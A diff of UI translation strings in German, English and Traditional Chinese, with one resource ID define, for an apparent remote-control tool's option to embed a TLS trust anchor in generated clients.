内嵌 TLS 信任锚失败,已取消生成:=TLS-Vertrauensanker konnte nicht eingebettet werden, Generierung abgebrochen:
|
||||
可取消勾选「内嵌TLS信任锚」后重试。=Haken bei 'TLS-Vertrauensanker einbetten' entfernen und erneut versuchen.
|
||||
已内嵌TLS信任锚=TLS-Vertrauensanker eingebettet
|
||||
提示: 客户端模板里没有内嵌锚块,本次按普通客户端生成;重编 ghost/ServerDll 资源后可再次启用。=Hinweis: Die Client-Vorlage hat keinen eingebetteten Ankerblock; als normaler Client erzeugt. ghost/ServerDll-Ressourcen neu bauen, um die Option wieder zu nutzen.
|
||||
提示: 未内嵌TLS信任锚,本批客户端首次连接为明文,需主控在线下发锚。=Hinweis: kein TLS-Vertrauensanker eingebettet; diese Clients verbinden sich zuerst im Klartext und benoetigen den Anker vom Master.
|
||||
%d 台主机使用生成时内嵌的信任锚:取消 TLS 后必须重新连上主控才能恢复加密,离线期间不会自行恢复。=%d Host(s) nutzen den beim Build eingebetteten Vertrauensanker: nach dem Deaktivieren von TLS muessen sie sich erneut mit dem Master verbinden; offline erholen sie sich nicht selbst.
|
||||
@@ -2197,3 +2197,15 @@ MCP:
|
||||
; ===== MCP Settings (file write / HTTPS) =====
|
||||
启用文件写入(删除/改名/建目录,不可恢复)=Enable file writes (delete/rename/mkdir, irreversible)
|
||||
文件写入包含删除(不可恢复)、改名与建目录;删除会拒绝盘符根与系统目录。=File writes include delete (irreversible), rename and create folder; delete refuses drive roots and system directories.
|
||||
; ===== Embedded TLS anchor (client built against this server's certificate) =====
|
||||
内嵌TLS信任锚(首连即加密)=Embed TLS trust anchor (TLS on first connect)
|
||||
内嵌TLS信任锚(锚在ServerDll.dll里)=Embed TLS trust anchor (use ServerDll.dll)
|
||||
内嵌TLS信任锚(该目标不含客户端)=Embed TLS trust anchor (no client code here)
|
||||
内嵌TLS信任锚(该协议不走TLS)=Embed TLS trust anchor (protocol is not TLS)
|
||||
内嵌TLS信任锚(服务端未启用TLS)=Embed TLS trust anchor (server TLS is off)
|
||||
内嵌 TLS 信任锚失败,已取消生成:=Failed to embed the TLS trust anchor, generation cancelled:
|
||||
可取消勾选「内嵌TLS信任锚」后重试。=Uncheck 'Embed TLS trust anchor' and retry.
|
||||
已内嵌TLS信任锚=Embedded TLS trust anchor
|
||||
提示: 客户端模板里没有内嵌锚块,本次按普通客户端生成;重编 ghost/ServerDll 资源后可再次启用。=Note: the client template has no embedded anchor block; generated as a plain client. Rebuild the ghost/ServerDll resources to enable it again.
|
||||
提示: 未内嵌TLS信任锚,本批客户端首次连接为明文,需主控在线下发锚。=Note: no TLS trust anchor embedded; these clients connect in plaintext first and need the master to push the anchor online.
|
||||
%d 台主机使用生成时内嵌的信任锚:取消 TLS 后必须重新连上主控才能恢复加密,离线期间不会自行恢复。=%d host(s) use the trust anchor embedded at build time: after disabling TLS they must reconnect to the master to restore encryption and will not recover on their own while offline.
|
||||
@@ -2190,3 +2190,15 @@ MCP:
|
||||
; ===== MCP Settings (file write / HTTPS) =====
|
||||
启用文件写入(删除/改名/建目录,不可恢复)=啟用檔案寫入(刪除/改名/建立目錄,無法復原)
|
||||
文件写入包含删除(不可恢复)、改名与建目录;删除会拒绝盘符根与系统目录。=檔案寫入包含刪除(無法復原)、改名與建立目錄;刪除會拒絕磁碟機根目錄與系統目錄。
|
||||
; ===== 內嵌 TLS 信任錨 =====
|
||||
内嵌TLS信任锚(首连即加密)=內嵌TLS信任錨(首連即加密)
|
||||
内嵌TLS信任锚(锚在ServerDll.dll里)=內嵌TLS信任錨(錨在ServerDll.dll裡)
|
||||
内嵌TLS信任锚(该目标不含客户端)=內嵌TLS信任錨(該目標不含客戶端)
|
||||
内嵌TLS信任锚(该协议不走TLS)=內嵌TLS信任錨(該協議不走TLS)
|
||||
内嵌TLS信任锚(服务端未启用TLS)=內嵌TLS信任錨(服務端未啟用TLS)
|
||||
内嵌 TLS 信任锚失败,已取消生成:=內嵌 TLS 信任錨失敗,已取消生成:
|
||||
可取消勾选「内嵌TLS信任锚」后重试。=可取消勾選「內嵌TLS信任錨」後重試。
|
||||
已内嵌TLS信任锚=已內嵌TLS信任錨
|
||||
提示: 客户端模板里没有内嵌锚块,本次按普通客户端生成;重编 ghost/ServerDll 资源后可再次启用。=提示: 客戶端模板裡沒有內嵌錨塊,本次按普通客戶端生成;重編 ghost/ServerDll 資源後可再次啟用。
|
||||
提示: 未内嵌TLS信任锚,本批客户端首次连接为明文,需主控在线下发锚。=提示: 未內嵌TLS信任錨,本批客戶端首次連接為明文,需主控線上下發錨。
|
||||
%d 台主机使用生成时内嵌的信任锚:取消 TLS 后必须重新连上主控才能恢复加密,离线期间不会自行恢复。=%d 台主機使用生成時內嵌的信任錨:取消 TLS 後必須重新連上主控才能恢復加密,離線期間不會自行恢復。
|
||||
@@ -829,6 +829,7 @@
|
||||
#define IDC_FSPEED_LABEL_UNLIMITED 2618
|
||||
#define IDC_STATIC_TRIGGER_LIST 2619
|
||||
#define IDC_COMBO_INSTALL_LOC 2620
|
||||
#define IDC_CHECK_TLS_ANCHOR 2621
|
||||
#define IDD_QUALITY_LEVELS 3000
|
||||
#define IDD_PREVIEW_LEVELS 3001
|
||||
#define ID_ONLINE_UPDATE 32772
|
||||
|
||||
Reference in new issue
Block a user